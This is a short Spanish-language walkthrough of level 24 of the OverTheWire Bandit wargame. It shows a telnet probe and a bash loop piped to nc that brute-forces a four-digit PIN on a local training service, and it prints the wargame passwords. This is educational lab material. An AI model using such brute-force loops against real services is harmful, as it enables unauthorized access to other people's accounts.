One minute
Bandit 24
OverTheWire
Bandit 24
Bienvenido al nivel 24 de Bandit en OverTheWire
En este nivel nos indican que la contraseña al siguiente nivel la obtendremos indicando la contraseña de este nivel y un pin secreto de 4 digitos en el puerto 30002.
Nos dice que la unica forma es usando fuerza bruta con las 10000 posibilidades que hay.
Ya de primeras esto llama a un script con un bucle, divertido….
Probamos la primera conexion:
telnet localhost 30002
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct current password and pincode. Try again.
Bien, con esto sacamos que el formato es:
XXXXXXXXXXXX [espacio] XXXX
Con un rango de entre 0000 y 9999, incuyendo los 0’s.
Construimos una linea de codigo en la que le pasamos al puerto el formato deseado:
for i in {0000..9999} ; do echo "hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv $i"; done | nc localhost 30002
Veremos que salta la solución.
Correct!
The password of user bandit25 is SoHfqMOEXXXXXXX
¡Vamos al siguiente nivel con esta contraseña!
Enlaces de Interes